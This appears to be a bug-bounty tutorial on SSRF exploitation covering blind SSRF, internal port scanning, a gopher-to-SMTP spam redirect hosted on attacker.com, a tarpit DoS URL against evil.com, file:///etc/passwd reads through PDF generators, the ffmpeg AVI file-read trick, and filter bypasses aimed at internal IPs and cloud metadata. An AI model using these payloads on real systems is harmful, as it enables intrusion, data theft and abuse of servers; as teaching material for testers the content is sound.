SSRF – Server Side Request Forgery Types And Ways To Exploit It (Part-2)

We have discussed Basic SSRF in Part -1, now we will continue with its next part

ii. Blind –

Not all SSRF vulnerabilities return the response to the attacker. This type of SSRF is known as blind SSRF

Exploiting Blind SSRF –
DEMO (using Ruby)

require 'sinatra'
require 'open-uri'

get '/' do
open params[:url]
'done'
end

The above code runs a server on port 4567 which on getting request does the following:
> make request to URL mentioned by user
> send reponse “OK” back to user instead of content(CANT SEE RESPONSE)

http://localhost:4567/?url=https://google.com will request google.com but does not show the response from google to attacker

To demonstrate impact with this kind of SSRF is to run an Internal IP and PORT scan

Here’s a list of private IPv4 networks that you could scan for services:

• 10.0.0.0/8

• 127.0.0.1/32

• 172.16.0.0/12

• 192.168.0.0/16

We can determine whether the specified PORT is Open/Closed by observing the Response Status and Response Time

Below is the example table of response status and time.

Send Spam mails –

In some case if the server supports Gopher we use it to send spam mails from server IP

To demonstrate we will use test.smtp.org testing server.

Let’s craft a malicious php page :

http://attacker.com/ssrf/gopher.php

<?php
$commands = array(
'HELO test.org',
'MAIL FROM: <[email protected]>',
'RCPT TO: <[email protected]>',
'DATA',
'Test mail',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://test.smtp.org:25/_'.$payload);
?>

https://example.com/ssrf.php?url=http://attacker.com/ssrf/gopher.php

This code concats our SMTP command into one line delimited by %0A and forces server to send a ‘GOPHER’ request to a SMTP server while actually sending a valid SMTP request

Performing Denial of service –

An attacker can use iptables TARPIT target to block requests for a prolonged time and CURL’s FTP:// protocol which never timeouts.

An attacker can send all TCP traffic to port 12345 to TARPIT and the request

https://example.com/ssrf/url?url=ftp://evil.com:12345/TEST

Test Cases –
Places to look for SSRF

End points which fetch external/internal resources –
Case I-

http://example.com/index.php?page=about.php

http://example.com/index.php?page=https://google.com

http://example.com/index.php?page=file:///etc/passwd

Refer – Link

Case -II

Try changing urls in POST request

POST /test/demo_form.php HTTP/1.1
Host: example.com
url=https://example.com/as&name2=value2

Refer – #411865, Link

PDF generators –

There are some cases where server converts uploaded file to a pdf

Try injecting <iframe>, <img>, <base> or <script> elements or CSS url() functions pointing to internal services.

You can read internal files using this

<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">

Refer – Link

File uploads -
Instead of uploading try changing input type to URL and check if the server sends a request to it

<input type=”file” id=”upload_file” name=”upload_file[]” class=”file” size=”1" multiple=””>
to <input type=”url” id=”upload_file” name=”upload_file[]” class=”file” size=”1" multiple=””>
and Pass the URL

Here’s an example.

Video Conversion –

There are many applications using outdated version ffmpeg to convert videos from one format to other

There is know SSRF vulnerability in this

Clone neex repo and generate an avi using below command

./gen_xbin_avi.py file://<filename> file_read.avi

and upload it in the vulnerable server and try converting it from avi to mp4

this reads can be used to read internal file and write in to the video

Refer – #237381 , #226756

Know SSRF vulnerabilities in CMS ,Plugins, Themes.

This is limited to your search knowledge

CVE - Search Results

Common Vulnerabilities and Exposures (CVE®) is a list of entries - each containing an identification number, a…
cve.mitre.org 
Search

WordPress Vulnerability Search
wpvulndb.com 

3. Bypass Whitelisting and Blacklisting –

Lets talk about whitelisting and blacklisting first

whitelisting – Allowing specific URL’s (Allowed Hosts)

Lets say if a server whitelist google.com and u can fetch only google.com using SSRF and rest all other domains get rejected

The only way to bypass whitelisting is find an open redirect in the whitelisted domain. Lets look in to example

Case – 1

www.example.com whitelisted abc.com and you found SSRF in example.com

http://example.com/ssrf.php?url=https://google.com -Fails to fetch as it is not whitelisted

http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com - Successfully fetches google.com

Case – 2

www.example.com whitelisted *.abc.com and you found SSRF in example.com

http://example.com/ssrf.php?url=https://google.com -Fails to fetch as it is not whitelisted

This can be bypassed if you get any subdomain takeover on *.abc.com

and use it to iframe or redirect it to desired site

http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com — Successfully fetches google.com

blacklisting – Blocking specific URL’s (Disallowed Hosts)

In the same way if a server blacklist google.com and when you ask the server to fetch google.com it blocks

Blacklisting can be bypassed in many ways

Converting IP to hexadecimal –

example – converting http://192.168.0.1 to doted hex – http://c0.a8.00.01 and dot less hex http://0xc0a80001

Converting IP to Decimal –

Use any online convertors ( Link )

http://0177.0.0.1/ = http://127.0.0.1
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

Converting IP to Octal –

example — converting http://192.168.0.1 to doted octal http://0300.0250.0000.0001 and dot less http://030052000001

Refer – #288250

Using wildcard DNS –

There are many sites online provide wildcard DNS, some of them are

xip.io: wildcard DNS for everyone

What is xip.io? xip.io is a magic domain name that provides wildcard DNS for any IP address. Say your LAN IP address…
xip.io

NIP.IO – wildcard DNS for any IP Address

NIP.IO allows you to map any IP Address in the following DNS wildcard entries:
nip.io

ip6.name

The DNS server of ip6.name serves AAAA records for every IPv6 address in existence. Think xip.io, but for IPv6.
ip6.name

Welcome to sslip.io

sslip.iosslip.io

You can simply use them to point it to a specific IP

10.0.0.1.xip.io resolves to 10.0.0.1
www.10.0.0.1.xip.io resolves to 10.0.0.1
mysite.10.0.0.1.xip.io resolves to 10.0.0.1
foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1
ssrf-cloud.localdomain.pw resolves to 169.254.169.254
metadata.nicob.net resolves to 169.254.169.254

Or you can use your own domain to do this

Make a subdomain and point to 192.168.0.1 with DNS A record

Refer:- #288193 , #288183

Using enclosed alphanumerics –

http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

End of Part -2

About The Author

Santhosh Kumar, he is an experienced Security Researcher with a demonstrated history of working in the computer and network security industry. Strong information technology professional skilled in Penetration Testing, Cryptography, Application Security, Web Application Security, and Ethical Hacking.